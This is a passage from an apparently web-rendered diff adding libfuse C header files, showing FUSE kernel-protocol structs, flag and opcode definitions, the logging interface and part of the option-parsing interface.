     191 + uint32_t uid;
     192 + uint32_t gid;
     193 + uint32_t rdev;
     194 + uint32_t blksize;
     195 + uint32_t padding;
     196 +};
     197 + 
     198 +struct fuse_kstatfs {
     199 + uint64_t blocks;
     200 + uint64_t bfree;
     201 + uint64_t bavail;
     202 + uint64_t files;
     203 + uint64_t ffree;
     204 + uint32_t bsize;
     205 + uint32_t namelen;
     206 + uint32_t frsize;
     207 + uint32_t padding;
     208 + uint32_t spare[6];
     209 +};
     210 + 
     211 +struct fuse_file_lock {
     212 + uint64_t start;
     213 + uint64_t end;
     214 + uint32_t type;
     215 + uint32_t pid; /* tgid */
     216 +};
     217 + 
     218 +/**
     219 + * Bitmasks for fuse_setattr_in.valid
     220 + */
     221 +#define FATTR_MODE (1 << 0)
     222 +#define FATTR_UID (1 << 1)
     223 +#define FATTR_GID (1 << 2)
     224 +#define FATTR_SIZE (1 << 3)
     225 +#define FATTR_ATIME (1 << 4)
     226 +#define FATTR_MTIME (1 << 5)
     227 +#define FATTR_FH (1 << 6)
     228 +#define FATTR_ATIME_NOW (1 << 7)
     229 +#define FATTR_MTIME_NOW (1 << 8)
     230 +#define FATTR_LOCKOWNER (1 << 9)
     231 +#define FATTR_CTIME (1 << 10)
     232 + 
     233 +/**
     234 + * Flags returned by the OPEN request
     235 + *
     236 + * FOPEN_DIRECT_IO: bypass page cache for this open file
     237 + * FOPEN_KEEP_CACHE: don't invalidate the data cache on open
     238 + * FOPEN_NONSEEKABLE: the file is not seekable
     239 + * FOPEN_CACHE_DIR: allow caching this directory
     240 + * FOPEN_STREAM: the file is stream-like (no file position at all)
     241 + */
     242 +#define FOPEN_DIRECT_IO (1 << 0)
     243 +#define FOPEN_KEEP_CACHE (1 << 1)
     244 +#define FOPEN_NONSEEKABLE (1 << 2)
     245 +#define FOPEN_CACHE_DIR (1 << 3)
     246 +#define FOPEN_STREAM (1 << 4)
     247 + 
     248 +/**
     249 + * INIT request/reply flags
     250 + *
     251 + * FUSE_ASYNC_READ: asynchronous read requests
     252 + * FUSE_POSIX_LOCKS: remote locking for POSIX file locks
     253 + * FUSE_FILE_OPS: kernel sends file handle for fstat, etc... (not yet supported)
     254 + * FUSE_ATOMIC_O_TRUNC: handles the O_TRUNC open flag in the filesystem
     255 + * FUSE_EXPORT_SUPPORT: filesystem handles lookups of "." and ".."
     256 + * FUSE_BIG_WRITES: filesystem can handle write size larger than 4kB
     257 + * FUSE_DONT_MASK: don't apply umask to file mode on create operations
     258 + * FUSE_SPLICE_WRITE: kernel supports splice write on the device
     259 + * FUSE_SPLICE_MOVE: kernel supports splice move on the device
     260 + * FUSE_SPLICE_READ: kernel supports splice read on the device
     261 + * FUSE_FLOCK_LOCKS: remote locking for BSD style file locks
     262 + * FUSE_HAS_IOCTL_DIR: kernel supports ioctl on directories
     263 + * FUSE_AUTO_INVAL_DATA: automatically invalidate cached pages
     264 + * FUSE_DO_READDIRPLUS: do READDIRPLUS (READDIR+LOOKUP in one)
     265 + * FUSE_READDIRPLUS_AUTO: adaptive readdirplus
     266 + * FUSE_ASYNC_DIO: asynchronous direct I/O submission
     267 + * FUSE_WRITEBACK_CACHE: use writeback cache for buffered writes
     268 + * FUSE_NO_OPEN_SUPPORT: kernel supports zero-message opens
     269 + * FUSE_PARALLEL_DIROPS: allow parallel lookups and readdir
     270 + * FUSE_HANDLE_KILLPRIV: fs handles killing suid/sgid/cap on write/chown/trunc
     271 + * FUSE_POSIX_ACL: filesystem supports posix acls
     272 + * FUSE_ABORT_ERROR: reading the device after abort returns ECONNABORTED
     273 + * FUSE_MAX_PAGES: init_out.max_pages contains the max number of req pages
     274 + * FUSE_CACHE_SYMLINKS: cache READLINK responses
     275 + * FUSE_NO_OPENDIR_SUPPORT: kernel supports zero-message opendir
     276 + * FUSE_EXPLICIT_INVAL_DATA: only invalidate cached pages on explicit request
     277 + */
     278 +#define FUSE_ASYNC_READ (1 << 0)
     279 +#define FUSE_POSIX_LOCKS (1 << 1)
     280 +#define FUSE_FILE_OPS (1 << 2)
     281 +#define FUSE_ATOMIC_O_TRUNC (1 << 3)
     282 +#define FUSE_EXPORT_SUPPORT (1 << 4)
     283 +#define FUSE_BIG_WRITES (1 << 5)
     284 +#define FUSE_DONT_MASK (1 << 6)
     285 +#define FUSE_SPLICE_WRITE (1 << 7)
     286 +#define FUSE_SPLICE_MOVE (1 << 8)
     287 +#define FUSE_SPLICE_READ (1 << 9)
     288 +#define FUSE_FLOCK_LOCKS (1 << 10)
     289 +#define FUSE_HAS_IOCTL_DIR (1 << 11)
     290 +#define FUSE_AUTO_INVAL_DATA (1 << 12)
     291 +#define FUSE_DO_READDIRPLUS (1 << 13)
     292 +#define FUSE_READDIRPLUS_AUTO (1 << 14)
     293 +#define FUSE_ASYNC_DIO (1 << 15)
     294 +#define FUSE_WRITEBACK_CACHE (1 << 16)
     295 +#define FUSE_NO_OPEN_SUPPORT (1 << 17)
     296 +#define FUSE_PARALLEL_DIROPS (1 << 18)
     297 +#define FUSE_HANDLE_KILLPRIV (1 << 19)
     298 +#define FUSE_POSIX_ACL (1 << 20)
     299 +#define FUSE_ABORT_ERROR (1 << 21)
     300 +#define FUSE_MAX_PAGES (1 << 22)
     301 +#define FUSE_CACHE_SYMLINKS (1 << 23)
     302 +#define FUSE_NO_OPENDIR_SUPPORT (1 << 24)
     303 +#define FUSE_EXPLICIT_INVAL_DATA (1 << 25)
     304 + 
     305 +/**
     306 + * CUSE INIT request/reply flags
     307 + *
     308 + * CUSE_UNRESTRICTED_IOCTL: use unrestricted ioctl
     309 + */
     310 +#define CUSE_UNRESTRICTED_IOCTL (1 << 0)
     311 + 
     312 +/**
     313 + * Release flags
     314 + */
     315 +#define FUSE_RELEASE_FLUSH (1 << 0)
     316 +#define FUSE_RELEASE_FLOCK_UNLOCK (1 << 1)
     317 + 
     318 +/**
     319 + * Getattr flags
     320 + */
     321 +#define FUSE_GETATTR_FH (1 << 0)
     322 + 
     323 +/**
     324 + * Lock flags
     325 + */
     326 +#define FUSE_LK_FLOCK (1 << 0)
     327 + 
     328 +/**
     329 + * WRITE flags
     330 + *
     331 + * FUSE_WRITE_CACHE: delayed write from page cache, file handle is guessed
     332 + * FUSE_WRITE_LOCKOWNER: lock_owner field is valid
     333 + * FUSE_WRITE_KILL_PRIV: kill suid and sgid bits
     334 + */
     335 +#define FUSE_WRITE_CACHE (1 << 0)
     336 +#define FUSE_WRITE_LOCKOWNER (1 << 1)
     337 +#define FUSE_WRITE_KILL_PRIV (1 << 2)
     338 + 
     339 +/**
     340 + * Read flags
     341 + */
     342 +#define FUSE_READ_LOCKOWNER (1 << 1)
     343 + 
     344 +/**
     345 + * Ioctl flags
     346 + *
     347 + * FUSE_IOCTL_COMPAT: 32bit compat ioctl on 64bit machine
     348 + * FUSE_IOCTL_UNRESTRICTED: not restricted to well-formed ioctls, retry allowed
     349 + * FUSE_IOCTL_RETRY: retry with new iovecs
     350 + * FUSE_IOCTL_32BIT: 32bit ioctl
     351 + * FUSE_IOCTL_DIR: is a directory
     352 + * FUSE_IOCTL_COMPAT_X32: x32 compat ioctl on 64bit machine (64bit time_t)
     353 + *
     354 + * FUSE_IOCTL_MAX_IOV: maximum of in_iovecs + out_iovecs
     355 + */
     356 +#define FUSE_IOCTL_COMPAT (1 << 0)
     357 +#define FUSE_IOCTL_UNRESTRICTED (1 << 1)
     358 +#define FUSE_IOCTL_RETRY (1 << 2)
     359 +#define FUSE_IOCTL_32BIT (1 << 3)
     360 +#define FUSE_IOCTL_DIR (1 << 4)
     361 +#define FUSE_IOCTL_COMPAT_X32 (1 << 5)
     362 + 
     363 +#define FUSE_IOCTL_MAX_IOV 256
     364 + 
     365 +/**
     366 + * Poll flags
     367 + *
     368 + * FUSE_POLL_SCHEDULE_NOTIFY: request poll notify
     369 + */
     370 +#define FUSE_POLL_SCHEDULE_NOTIFY (1 << 0)
     371 + 
     372 +/**
     373 + * Fsync flags
     374 + *
     375 + * FUSE_FSYNC_FDATASYNC: Sync data only, not metadata
     376 + */
     377 +#define FUSE_FSYNC_FDATASYNC (1 << 0)
     378 + 
     379 +enum fuse_opcode {
     380 + FUSE_LOOKUP = 1,
     381 + FUSE_FORGET = 2, /* no reply */
     382 + FUSE_GETATTR = 3,
     383 + FUSE_SETATTR = 4,
     384 + FUSE_READLINK = 5,
     385 + FUSE_SYMLINK = 6,
     386 + FUSE_MKNOD = 8,
     387 + FUSE_MKDIR = 9,
     388 + FUSE_UNLINK = 10,
     389 + FUSE_RMDIR = 11,
     390 + FUSE_RENAME = 12,
     391 + FUSE_LINK = 13,
     392 + FUSE_OPEN = 14,
     393 + FUSE_READ = 15,
     394 + FUSE_WRITE = 16,
     395 + FUSE_STATFS = 17,
     396 + FUSE_RELEASE = 18,
     397 + FUSE_FSYNC = 20,
     398 + FUSE_SETXATTR = 21,
     399 + FUSE_GETXATTR = 22,
     400 + FUSE_LISTXATTR = 23,
     401 + FUSE_REMOVEXATTR = 24,
     402 + FUSE_FLUSH = 25,
     403 + FUSE_INIT = 26,
     404 + FUSE_OPENDIR = 27,
     405 + FUSE_READDIR = 28,
     406 + FUSE_RELEASEDIR = 29,
     407 + FUSE_FSYNCDIR = 30,
     408 + FUSE_GETLK = 31,
     409 + FUSE_SETLK = 32,
     410 + FUSE_SETLKW = 33,
     411 + FUSE_ACCESS = 34,
     412 + FUSE_CREATE = 35,
     413 + FUSE_INTERRUPT = 36,
     414 + FUSE_BMAP = 37,
     415 + FUSE_DESTROY = 38,
     416 + FUSE_IOCTL = 39,
     417 + FUSE_POLL = 40,
     418 + FUSE_NOTIFY_REPLY = 41,
     419 + FUSE_BATCH_FORGET = 42,
     420 + FUSE_FALLOCATE = 43,
     421 + FUSE_READDIRPLUS = 44,
     422 + FUSE_RENAME2 = 45,
     423 + FUSE_LSEEK = 46,
     424 + FUSE_COPY_FILE_RANGE = 47,
     425 + 
     426 + /* CUSE specific operations */
     427 + CUSE_INIT = 4096
     428 +};
     429 + 
     430 +enum fuse_notify_code {
     431 + FUSE_NOTIFY_POLL = 1,
     432 + FUSE_NOTIFY_INVAL_INODE = 2,
     433 + FUSE_NOTIFY_INVAL_ENTRY = 3,
     434 + FUSE_NOTIFY_STORE = 4,
     435 + FUSE_NOTIFY_RETRIEVE = 5,
     436 + FUSE_NOTIFY_DELETE = 6,
     437 + FUSE_NOTIFY_CODE_MAX
     438 +};
     439 + 
     440 +/* The read buffer is required to be at least 8k, but may be much larger */
     441 +#define FUSE_MIN_READ_BUFFER 8192
     442 + 
     443 +#define FUSE_COMPAT_ENTRY_OUT_SIZE 120
     444 + 
     445 +struct fuse_entry_out {
     446 + uint64_t nodeid; /* Inode ID */
     447 + uint64_t generation; /* Inode generation: nodeid:gen must
     448 + be unique for the fs's lifetime */
     449 + uint64_t entry_valid; /* Cache timeout for the name */
     450 + uint64_t attr_valid; /* Cache timeout for the attributes */
     451 + uint32_t entry_valid_nsec;
     452 + uint32_t attr_valid_nsec;
     453 + struct fuse_attr attr;
     454 +};
     455 + 
     456 +struct fuse_forget_in {
     457 + uint64_t nlookup;
     458 +};
     459 + 
     460 +struct fuse_forget_one {
     461 + uint64_t nodeid;
     462 + uint64_t nlookup;
     463 +};
     464 + 
     465 +struct fuse_batch_forget_in {
     466 + uint32_t count;
     467 + uint32_t dummy;
     468 +};
     469 + 
     470 +struct fuse_getattr_in {
     471 + uint32_t getattr_flags;
     472 + uint32_t dummy;
     473 + uint64_t fh;
     474 +};
     475 + 
     476 +#define FUSE_COMPAT_ATTR_OUT_SIZE 96
     477 + 
     478 +struct fuse_attr_out {
     479 + uint64_t attr_valid; /* Cache timeout for the attributes */
     480 + uint32_t attr_valid_nsec;
     481 + uint32_t dummy;
     482 + struct fuse_attr attr;
     483 +};
     484 + 
     485 +#define FUSE_COMPAT_MKNOD_IN_SIZE 8
     486 + 
     487 +struct fuse_mknod_in {
     488 + uint32_t mode;
     489 + uint32_t rdev;
     490 + uint32_t umask;
     491 + uint32_t padding;
     492 +};
     493 + 
     494 +struct fuse_mkdir_in {
     495 + uint32_t mode;
     496 + uint32_t umask;
     497 +};
     498 + 
     499 +struct fuse_rename_in {
     500 + uint64_t newdir;
     501 +};
     502 + 
     503 +struct fuse_rename2_in {
     504 + uint64_t newdir;
     505 + uint32_t flags;
     506 + uint32_t padding;
     507 +};
     508 + 
     509 +struct fuse_link_in {
     510 + uint64_t oldnodeid;
     511 +};
     512 + 
     513 +struct fuse_setattr_in {
     514 + uint32_t valid;
     515 + uint32_t padding;
     516 + uint64_t fh;
     517 + uint64_t size;
     518 + uint64_t lock_owner;
     519 + uint64_t atime;
     520 + uint64_t mtime;
     521 + uint64_t ctime;
     522 + uint32_t atimensec;
     523 + uint32_t mtimensec;
     524 + uint32_t ctimensec;
     525 + uint32_t mode;
     526 + uint32_t unused4;
     527 + uint32_t uid;
     528 + uint32_t gid;
     529 + uint32_t unused5;
     530 +};
     531 + 
     532 +struct fuse_open_in {
     533 + uint32_t flags;
     534 + uint32_t unused;
     535 +};
     536 + 
     537 +struct fuse_create_in {
     538 + uint32_t flags;
     539 + uint32_t mode;
     540 + uint32_t umask;
     541 + uint32_t padding;
     542 +};
     543 + 
     544 +struct fuse_open_out {
     545 + uint64_t fh;
     546 + uint32_t open_flags;
     547 + uint32_t padding;
     548 +};
     549 + 
     550 +struct fuse_release_in {
     551 + uint64_t fh;
     552 + uint32_t flags;
     553 + uint32_t release_flags;
     554 + uint64_t lock_owner;
     555 +};
     556 + 
     557 +struct fuse_flush_in {
     558 + uint64_t fh;
     559 + uint32_t unused;
     560 + uint32_t padding;
     561 + uint64_t lock_owner;
     562 +};
     563 + 
     564 +struct fuse_read_in {
     565 + uint64_t fh;
     566 + uint64_t offset;
     567 + uint32_t size;
     568 + uint32_t read_flags;
     569 + uint64_t lock_owner;
     570 + uint32_t flags;
     571 + uint32_t padding;
     572 +};
     573 + 
     574 +#define FUSE_COMPAT_WRITE_IN_SIZE 24
     575 + 
     576 +struct fuse_write_in {
     577 + uint64_t fh;
     578 + uint64_t offset;
     579 + uint32_t size;
     580 + uint32_t write_flags;
     581 + uint64_t lock_owner;
     582 + uint32_t flags;
     583 + uint32_t padding;
     584 +};
     585 + 
     586 +struct fuse_write_out {
     587 + uint32_t size;
     588 + uint32_t padding;
     589 +};
     590 + 
     591 +#define FUSE_COMPAT_STATFS_SIZE 48
     592 + 
     593 +struct fuse_statfs_out {
     594 + struct fuse_kstatfs st;
     595 +};
     596 + 
     597 +struct fuse_fsync_in {
     598 + uint64_t fh;
     599 + uint32_t fsync_flags;
     600 + uint32_t padding;
     601 +};
     602 + 
     603 +struct fuse_setxattr_in {
     604 + uint32_t size;
     605 + uint32_t flags;
     606 +};
     607 + 
     608 +struct fuse_getxattr_in {
     609 + uint32_t size;
     610 + uint32_t padding;
     611 +};
     612 + 
     613 +struct fuse_getxattr_out {
     614 + uint32_t size;
     615 + uint32_t padding;
     616 +};
     617 + 
     618 +struct fuse_lk_in {
     619 + uint64_t fh;
     620 + uint64_t owner;
     621 + struct fuse_file_lock lk;
     622 + uint32_t lk_flags;
     623 + uint32_t padding;
     624 +};
     625 + 
     626 +struct fuse_lk_out {
     627 + struct fuse_file_lock lk;
     628 +};
     629 + 
     630 +struct fuse_access_in {
     631 + uint32_t mask;
     632 + uint32_t padding;
     633 +};
     634 + 
     635 +struct fuse_init_in {
     636 + uint32_t major;
     637 + uint32_t minor;
     638 + uint32_t max_readahead;
     639 + uint32_t flags;
     640 +};
     641 + 
     642 +#define FUSE_COMPAT_INIT_OUT_SIZE 8
     643 +#define FUSE_COMPAT_22_INIT_OUT_SIZE 24
     644 + 
     645 +struct fuse_init_out {
     646 + uint32_t major;
     647 + uint32_t minor;
     648 + uint32_t max_readahead;
     649 + uint32_t flags;
     650 + uint16_t max_background;
     651 + uint16_t congestion_threshold;
     652 + uint32_t max_write;
     653 + uint32_t time_gran;
     654 + uint16_t max_pages;
     655 + uint16_t padding;
     656 + uint32_t unused[8];
     657 +};
     658 + 
     659 +#define CUSE_INIT_INFO_MAX 4096
     660 + 
     661 +struct cuse_init_in {
     662 + uint32_t major;
     663 + uint32_t minor;
     664 + uint32_t unused;
     665 + uint32_t flags;
     666 +};
     667 + 
     668 +struct cuse_init_out {
     669 + uint32_t major;
     670 + uint32_t minor;
     671 + uint32_t unused;
     672 + uint32_t flags;
     673 + uint32_t max_read;
     674 + uint32_t max_write;
     675 + uint32_t dev_major; /* chardev major */
     676 + uint32_t dev_minor; /* chardev minor */
     677 + uint32_t spare[10];
     678 +};
     679 + 
     680 +struct fuse_interrupt_in {
     681 + uint64_t unique;
     682 +};
     683 + 
     684 +struct fuse_bmap_in {
     685 + uint64_t block;
     686 + uint32_t blocksize;
     687 + uint32_t padding;
     688 +};
     689 + 
     690 +struct fuse_bmap_out {
     691 + uint64_t block;
     692 +};
     693 + 
     694 +struct fuse_ioctl_in {
     695 + uint64_t fh;
     696 + uint32_t flags;
     697 + uint32_t cmd;
     698 + uint64_t arg;
     699 + uint32_t in_size;
     700 + uint32_t out_size;
     701 +};
     702 + 
     703 +struct fuse_ioctl_iovec {
     704 + uint64_t base;
     705 + uint64_t len;
     706 +};
     707 + 
     708 +struct fuse_ioctl_out {
     709 + int32_t result;
     710 + uint32_t flags;
     711 + uint32_t in_iovs;
     712 + uint32_t out_iovs;
     713 +};
     714 + 
     715 +struct fuse_poll_in {
     716 + uint64_t fh;
     717 + uint64_t kh;
     718 + uint32_t flags;
     719 + uint32_t events;
     720 +};
     721 + 
     722 +struct fuse_poll_out {
     723 + uint32_t revents;
     724 + uint32_t padding;
     725 +};
     726 + 
     727 +struct fuse_notify_poll_wakeup_out {
     728 + uint64_t kh;
     729 +};
     730 + 
     731 +struct fuse_fallocate_in {
     732 + uint64_t fh;
     733 + uint64_t offset;
     734 + uint64_t length;
     735 + uint32_t mode;
     736 + uint32_t padding;
     737 +};
     738 + 
     739 +struct fuse_in_header {
     740 + uint32_t len;
     741 + uint32_t opcode;
     742 + uint64_t unique;
     743 + uint64_t nodeid;
     744 + uint32_t uid;
     745 + uint32_t gid;
     746 + uint32_t pid;
     747 + uint32_t padding;
     748 +};
     749 + 
     750 +struct fuse_out_header {
     751 + uint32_t len;
     752 + int32_t error;
     753 + uint64_t unique;
     754 +};
     755 + 
     756 +struct fuse_dirent {
     757 + uint64_t ino;
     758 + uint64_t off;
     759 + uint32_t namelen;
     760 + uint32_t type;
     761 + char name[];
     762 +};
     763 + 
     764 +#define FUSE_NAME_OFFSET offsetof(struct fuse_dirent, name)
     765 +#define FUSE_DIRENT_ALIGN(x) \
     766 + (((x) + sizeof(uint64_t) - 1) & ~(sizeof(uint64_t) - 1))
     767 +#define FUSE_DIRENT_SIZE(d) \
     768 + FUSE_DIRENT_ALIGN(FUSE_NAME_OFFSET + (d)->namelen)
     769 + 
     770 +struct fuse_direntplus {
     771 + struct fuse_entry_out entry_out;
     772 + struct fuse_dirent dirent;
     773 +};
     774 + 
     775 +#define FUSE_NAME_OFFSET_DIRENTPLUS \
     776 + offsetof(struct fuse_direntplus, dirent.name)
     777 +#define FUSE_DIRENTPLUS_SIZE(d) \
     778 + FUSE_DIRENT_ALIGN(FUSE_NAME_OFFSET_DIRENTPLUS + (d)->dirent.namelen)
     779 + 
     780 +struct fuse_notify_inval_inode_out {
     781 + uint64_t ino;
     782 + int64_t off;
     783 + int64_t len;
     784 +};
     785 + 
     786 +struct fuse_notify_inval_entry_out {
     787 + uint64_t parent;
     788 + uint32_t namelen;
     789 + uint32_t padding;
     790 +};
     791 + 
     792 +struct fuse_notify_delete_out {
     793 + uint64_t parent;
     794 + uint64_t child;
     795 + uint32_t namelen;
     796 + uint32_t padding;
     797 +};
     798 + 
     799 +struct fuse_notify_store_out {
     800 + uint64_t nodeid;
     801 + uint64_t offset;
     802 + uint32_t size;
     803 + uint32_t padding;
     804 +};
     805 + 
     806 +struct fuse_notify_retrieve_out {
     807 + uint64_t notify_unique;
     808 + uint64_t nodeid;
     809 + uint64_t offset;
     810 + uint32_t size;
     811 + uint32_t padding;
     812 +};
     813 + 
     814 +/* Matches the size of fuse_write_in */
     815 +struct fuse_notify_retrieve_in {
     816 + uint64_t dummy1;
     817 + uint64_t offset;
     818 + uint32_t size;
     819 + uint32_t dummy2;
     820 + uint64_t dummy3;
     821 + uint64_t dummy4;
     822 +};
     823 + 
     824 +/* Device ioctls: */
     825 +#define FUSE_DEV_IOC_CLONE _IOR(229, 0, uint32_t)
     826 + 
     827 +struct fuse_lseek_in {
     828 + uint64_t fh;
     829 + uint64_t offset;
     830 + uint32_t whence;
     831 + uint32_t padding;
     832 +};
     833 + 
     834 +struct fuse_lseek_out {
     835 + uint64_t offset;
     836 +};
     837 + 
     838 +struct fuse_copy_file_range_in {
     839 + uint64_t fh_in;
     840 + uint64_t off_in;
     841 + uint64_t nodeid_out;
     842 + uint64_t fh_out;
     843 + uint64_t off_out;
     844 + uint64_t len;
     845 + uint64_t flags;
     846 +};
     847 + 
     848 +#endif /* _LINUX_FUSE_H */
     849 + 
  • ■ ■ ■ ■ ■ ■
    libfuse/fuse_log.h
     1 +/*
     2 + FUSE: Filesystem in Userspace
     3 + Copyright (C) 2019 Red Hat, Inc.
     4 + 
     5 + This program can be distributed under the terms of the GNU LGPLv2.
     6 + See the file COPYING.LIB.
     7 +*/
     8 + 
     9 +#ifndef FUSE_LOG_H_
     10 +#define FUSE_LOG_H_
     11 + 
     12 +/** @file
     13 + *
     14 + * This file defines the logging interface of FUSE
     15 + */
     16 + 
     17 +#include <stdarg.h>
     18 + 
     19 +#ifdef __cplusplus
     20 +extern "C" {
     21 +#endif
     22 + 
     23 +/**
     24 + * Log severity level
     25 + *
     26 + * These levels correspond to syslog(2) log levels since they are widely used.
     27 + */
     28 +enum fuse_log_level {
     29 + FUSE_LOG_EMERG,
     30 + FUSE_LOG_ALERT,
     31 + FUSE_LOG_CRIT,
     32 + FUSE_LOG_ERR,
     33 + FUSE_LOG_WARNING,
     34 + FUSE_LOG_NOTICE,
     35 + FUSE_LOG_INFO,
     36 + FUSE_LOG_DEBUG
     37 +};
     38 + 
     39 +/**
     40 + * Log message handler function.
     41 + *
     42 + * This function must be thread-safe. It may be called from any libfuse
     43 + * function, including fuse_parse_cmdline() and other functions invoked before
     44 + * a FUSE filesystem is created.
     45 + *
     46 + * Install a custom log message handler function using fuse_set_log_func().
     47 + *
     48 + * @param level log severity level
     49 + * @param fmt sprintf-style format string including newline
     50 + * @param ap format string arguments
     51 + */
     52 +typedef void (*fuse_log_func_t)(enum fuse_log_level level,
     53 + const char *fmt, va_list ap);
     54 + 
     55 +/**
     56 + * Install a custom log handler function.
     57 + *
     58 + * Log messages are emitted by libfuse functions to report errors and debug
     59 + * information. Messages are printed to stderr by default but this can be
     60 + * overridden by installing a custom log message handler function.
     61 + *
     62 + * The log message handler function is global and affects all FUSE filesystems
     63 + * created within this process.
     64 + *
     65 + * @param func a custom log message handler function or NULL to revert to
     66 + * the default
     67 + */
     68 +void fuse_set_log_func(fuse_log_func_t func);
     69 + 
     70 +/**
     71 + * Emit a log message
     72 + *
     73 + * @param level severity level (FUSE_LOG_ERR, FUSE_LOG_DEBUG, etc)
     74 + * @param fmt sprintf-style format string including newline
     75 + */
     76 +void fuse_log(enum fuse_log_level level, const char *fmt, ...);
     77 + 
     78 +#ifdef __cplusplus
     79 +}
     80 +#endif
     81 + 
     82 +#endif /* FUSE_LOG_H_ */
     83 + 
  • libfuse/fuse_lowlevel.h
    Diff is too large to be displayed.
  • ■ ■ ■ ■ ■ ■
    libfuse/fuse_opt.h
     1 +/*
     2 + FUSE: Filesystem in Userspace
     3 + Copyright (C) 2001-2007 Miklos Szeredi <[email protected]>
     4 + 
     5 + This program can be distributed under the terms of the GNU LGPLv2.
     6 + See the file COPYING.LIB.
     7 +*/
     8 + 
     9 +#ifndef FUSE_OPT_H_
     10 +#define FUSE_OPT_H_
     11 + 
     12 +/** @file
     13 + *
     14 + * This file defines the option parsing interface of FUSE
     15 + */
     16 + 
     17 +#ifdef __cplusplus
     18 +extern "C" {
     19 +#endif
     20 + 
     21 +/**
     22 + * Option description
     23 + *
     24 + * This structure describes a single option, and action associated
     25 + * with it, in case it matches.
     26 + *
     27 + * More than one such match may occur, in which case the action for
     28 + * each match is executed.
     29 + *
     30 + * There are three possible actions in case of a match:
     31 + *
     32 + * i) An integer (int or unsigned) variable determined by 'offset' is
     33 + * set to 'value'
     34 + *
     35 + * ii) The processing function is called, with 'value' as the key
     36 + *
     37 + * iii) An integer (any) or string (char *) variable determined by
     38 + * 'offset' is set to the value of an option parameter
     39 + *
     40 + * 'offset' should normally be either set to
     41 + *
     42 + * - 'offsetof(struct foo, member)' actions i) and iii)
     43 + *
     44 + * - -1 action ii)
     45 + *
     46 + * The 'offsetof()' macro is defined in the <stddef.h> header.
     47 + *
     48 + * The template determines which options match, and also have an
     49 + * effect on the action. Normally the action is either i) or ii), but
     50 + * if a format is present in the template, then action iii) is
     51 + * performed.
     52 + *
     53 + * The types of templates are:
     54 + *
     55 + * 1) "-x", "-foo", "--foo", "--foo-bar", etc. These match only
     56 + * themselves. Invalid values are "--" and anything beginning
     57 + * with "-o"
     58 + *
     59 + * 2) "foo", "foo-bar", etc. These match "-ofoo", "-ofoo-bar" or
     60 + * the relevant option in a comma separated option list
     61 + *
     62 + * 3) "bar=", "--foo=", etc. These are variations of 1) and 2)
     63 + * which have a parameter
     64 + *
     65 + * 4) "bar=%s", "--foo=%lu", etc. Same matching as above but perform
     66 + * action iii).
     67 + *
     68 + * 5) "-x ", etc. Matches either "-xparam" or "-x param" as
     69 + * two separate arguments
     70 + *
     71 + * 6) "-x %s", etc. Combination of 4) and 5)
     72 + *
     73 + * If the format is "%s", memory is allocated for the string unlike with
     74 + * scanf(). The previous value (if non-NULL) stored at the this location is
     75 + * freed.
     76 + */
     77 +struct fuse_opt {
     78 + /** Matching template and optional parameter formatting */
     79 + const char *templ;
     80 + 
     81 + /**
     82 + * Offset of variable within 'data' parameter of fuse_opt_parse()
     83 + * or -1
     84 + */
     85 + unsigned long offset;
     86 + 
     87 + /**
     88 + * Value to set the variable to, or to be passed as 'key' to the
     89 + * processing function. Ignored if template has a format
     90 + */
     91 + int value;
     92 +};
     93 + 
     94 +/**
     95 + * Key option. In case of a match, the processing function will be
     96 + * called with the specified key.
     97 + */
     98 +#define FUSE_OPT_KEY(templ, key) { templ, -1U, key }
     99 + 
     100 +/**
     101 + * Last option. An array of 'struct fuse_opt' must end with a NULL
     102 + * template value
     103 + */
     104 +#define FUSE_OPT_END { NULL, 0, 0 }
     105 + 
     106 +/**
     107 + * Argument list
     108 + */
     109 +struct fuse_args {
     110 + /** Argument count */
     111 + int argc;
     112 + 
     113 + /** Argument vector. NULL terminated */
     114 + char **argv;
     115 + 
     116 + /** Is 'argv' allocated? */
     117 + int allocated;
     118 +};
     119 + 
     120 +/**
     121 + * Initializer for 'struct fuse_args'
     122 + */
     123 +#define FUSE_ARGS_INIT(argc, argv) { argc, argv, 0 }
     124 + 
     125 +/**
     126 + * Key value passed to the processing function if an option did not
     127 + * match any template
     128 + */
     129 +#define FUSE_OPT_KEY_OPT -1
     130 + 
     131 +/**
     132 + * Key value passed to the processing function for all non-options
     133 + *
     134 + * Non-options are the arguments beginning with a character other than
     135 + * '-' or all arguments after the special '--' option
     136 + */
     137 +#define FUSE_OPT_KEY_NONOPT -2
     138 + 
     139 +/**
     140 + * Special key value for options to keep
     141 + *
     142 + * Argument is not passed to processing function, but behave as if the
     143 + * processing function returned 1
     144 + */
     145 +#define FUSE_OPT_KEY_KEEP -3
     146 + 
     147 +/**
     148 + * Special key value for options to discard
     149 + *
     150 + * Argument is not passed to processing function, but behave as if the
     151 + * processing function returned zero
     152 + */
     153 +#define FUSE_OPT_KEY_DISCARD -4
     154 + 
     155 +/**
     156 + * Processing function
     157 + *
     158 + * This function is called if
     159 + * - option did not match any 'struct fuse_opt'
     160 + * - argument is a non-option
     161 + * - option did match and offset was set to -1
     162 + *
     163 + * The 'arg' parameter will always contain the whole argument or
     164 + * option including the parameter if exists. A two-argument option
     165 + * ("-x foo") is always converted to single argument option of the
     166 + * form "-xfoo" before this function is called.
     167 + *
     168 + * Options of the form '-ofoo' are passed to this function without the
     169 + * '-o' prefix.
     170 + *
     171 + * The return value of this function determines whether this argument
     172 + * is to be inserted into the output argument vector, or discarded.
     173 + *
     174 + * @param data is the user data passed to the fuse_opt_parse() function
     175 + * @param arg is the whole argument or option
     176 + * @param key determines why the processing function was called
     177 + * @param outargs the current output argument list
     178 + * @return -1 on error, 0 if arg is to be discarded, 1 if arg should be kept
     179 + */
     180 +typedef int (*fuse_opt_proc_t)(void *data, const char *arg, int key,
     181 + struct fuse_args *outargs);
     182 + 
     183 +/**
     184 + * Option parsing function
     185 + *
     186 + * If 'args' was returned from a previous call to fuse_opt_parse() or
     187 + * it was constructed from
     188 + *
     189 + * A NULL 'args' is equivalent to an empty argument vector
     190 + *
     191 + * A NULL 'opts' is equivalent to an 'opts' array containing a single
     192 + * end marker
     193 + *
     194 + * A NULL 'proc' is equivalent to a processing function always
     195 + * returning '1'
     196 + *
     197 + * @param args is the input and output argument list
     198 + * @param data is the user data
     199 + * @param opts is the option description array
     200 + * @param proc is the processing function
     201 + * @return -1 on error, 0 on success
     202 + */
     203 +int fuse_opt_parse(struct fuse_args *args, void *data,
     204 + const struct fuse_opt opts[], fuse_opt_proc_t proc);
     205 + 
     206 +/**
     207 + * Add an option to a comma separated option list
     208 + *
     209 + * @param opts is a pointer to an option list, may point to a NULL value
     210 + * @param opt is the option to add
     211 + * @return -1 on allocation error, 0 on success
     212 + */
